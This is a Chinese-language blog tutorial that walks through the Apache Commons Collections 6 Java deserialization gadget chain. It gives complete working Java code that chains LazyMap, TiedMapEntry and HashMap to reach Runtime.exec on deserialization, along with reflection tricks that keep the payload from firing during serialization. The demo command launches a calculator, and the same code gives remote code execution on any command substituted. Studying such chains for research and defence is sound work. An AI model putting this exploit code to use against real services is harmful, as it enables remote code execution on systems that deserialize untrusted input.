commons collections 6反序列化链学习

commons collections 6反序列化链学习

目录

前言

之前是讨论过CC1链,现在CC1链是已经不能用了,因为在8u71中对AnnotationInvocationHandler的readObject方法进行了针对性的修改:

使用8u211环境看的,偷了个懒没有去找源码,就直接看class文件了

可以看出if执行完后并没有使用setValue的操作,而且前面也对参数的获取进行了修改,导致动态代理的CC1链失效了,到此就只能宣布CC1的沦陷了。

但是CC1给我们的收获仍然是丰厚的,我们仍然可以通过对后半部分补充从而获得一条新的链子。

在这种需求下就有人发现了CC6,这是一条不限版本的CC链,通用性很强,也是存在在commons collections3版本中的。

思路

通过CC1链以及修复的地方我们可以发现我们仍然可以通过触发LazyMap中的get方法从而达到RCE的目的。

因为要考虑到通用性这个条件,很自然就能想到DNSURL链,这个链具有通用性是因为它使用了HashMap中的hashCode方法,而这两个都是不会被ban的。

那么借用这个思想我们就可以找 在hashCode方法中调用get方法的类

CC6的作者就找到了这个类TideMapEntry

其中的getValue方法:

通过构造器可以看出

map是可控的。到此一条完整了链子就出现在我们脑中。

过程

工具类

由于涉及到一些重复的代码,我就将重复的部分打包成一个工具类:

package org.Payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.InvocationTargetException;

public class Util implements Serializable{
    public  ChainedTransformer  chainedTransformer () throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        //使用ChainedTransformer进行迭代
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new String[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        });
        //chainedTransformer.transform(Runtime.class);
        return chainedTransformer;

        }
        public static void serialzie(Object O,String name) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
            objectOutputStream.writeObject(O);

        }
        public static void unserialize(String name) throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
            objectInputStream.readObject();
    }
}

注意这个工具类也需要支持反序列化

工具类主要就是为了生成chainedTransformer调用链,并提供简单的序列化和反序列化函数方便我们进行检验。

LazyMap

我们先生成一个LazyMap类,然后就可以通过调用人家的get方法RCE 了

LazyMap的构造器是保护的,需要我们通过人家给了decorate方法来创建,只需要传入一个Map和一个Transformer对象即可

我们这里使用HashMap来创建LazyMap,Transformr就是需要的chainedTransformer

Util util = new Util();
ChainedTransformer chainedTransformer = util.chainedTransformer();

HashMap<Objects, Objects> hashLazyMap = new HashMap<>();

LazyMap lazyMap  = (LazyMap) LazyMap.decorate(hashLazyMap,chainedTransformer);

TideMapEntry

接着就是请出这次的主角TideMapEntry,这个Entry还是Public的,也就省的我们用反射去创建了

创建也是十分简单,一个Map一个key即可

之后触发hashCode就可以触发map的get,传入的key(这个传入无所谓的)

//TideMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");

下面问题就变成了触发这个tideMapEntryhashCode方法了

HashCode

这个参考DNSURL链的前半段,使用HashMap方法触发

在HashMap的readObject方法中最后人家会在一个for循环中调用hash方法, 并将key传入

而在hash中就会调用传入的keyhashCode方法

然后就会触发上面的Entry了

代码如下:

//new一个用来触发hashCode的HashCode
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
//将需要触发hashCode的Entry作为key传入其中,他的值无所谓
hashMap.put(tiedMapEntry, "222");

然后就是序列化了:

Util.serialzie(hashMap,"CC6.bin");
Util.unserialize("CC6.bin");

调整修复

到此时如果执行代码的话,确实会触发反序列化,弹出计算器,但是实际上这个计算机是在 序列化的时候弹出的并不是在反序列化的时候弹出的。

这个问题在DNSURL链中也同样出现过,主要原因就是在put的时候就会触发hashCode

执行的指令和readObject中一模一样

这里的修复思路就是在put前将链子截断,put后在重新修好,这个过程可以通过反射完成

截断链子的地方很多,我们这里选取lazymap传入chainedTransforms的时候这里截断,这里我们随便传入一个Transformr接口对象即可

LazyMap lazyMap  = (LazyMap) LazyMap.decorate(hashLazyMap,new ConstantTransformer(1));

之后再put后修改即可

//重新修理这个链接
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);

此时运行的时候就不会在序列化的时候触发漏洞了。

但是不幸的是反序列化的时候也不会触发漏洞,这个问题就需要涉及到LazyMap的懒汉式设计方式了,简单来说就是当我们调用这个Map的值的时候,如果人家没有值才会触发transform方法从而生成这个值, 并传入Map中, 如果这个值存在就不会触发**transform**,很明显这个地方就是因为本地触发过一次transform方法了,给LazyMap写入值了,到目标机器后就不会调用transform方法而是直接调用,明显不符合我们的预期。

而触发的地方也很明显,还是那个put函数:

人家调用hash的时候不仅仅会触发hashCode方法,进而进入到LazyMap中触发transform方法。

修改方法也很简单,就是将put的误生成的数据删除即可:

//这一步会加入数据:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
...
...
//put后删除该数据即可
lazyMap.remove("111");

到此整条链子就分析完成了。

完整代码

工具类:参考上面

package org.Payload.CC6;

import org.Payload.Util;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Objects;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException, NoSuchFieldException {
        Util util = new Util();
        ChainedTransformer chainedTransformer = util.chainedTransformer();

        HashMap<Objects, Objects> hashLazyMap = new HashMap<>();

        //防止序列化的时候触发漏洞
        LazyMap lazyMap  = (LazyMap) LazyMap.decorate(hashLazyMap,new ConstantTransformer(1));

        //TideMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");

        //new一个用来触发hashCode的HashCode
        HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
        //将需要触发hashCode的Entry作为key传入其中,他的值无所谓
        hashMap.put(tiedMapEntry, "222");

        //重新修理这个链接
        Class LazyMapClass = LazyMap.class;
        Field factoryfield = LazyMapClass.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazyMap,chainedTransformer);

        lazyMap.remove("111");

        Util.serialzie(hashMap,"CC6.bin");
        Util.unserialize("CC6.bin");

    }
}

总结

CC6是一条通用的链子,其通用性就体现在入口是用来HashMap的readObject这个很少有人会ban的,而中间的链子也很简单很巧妙。总的来说理解不算困难实用性较强。

我们在复现链子的时候也是尝试去揣测链作者的思路,这部分也是十分重要的。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇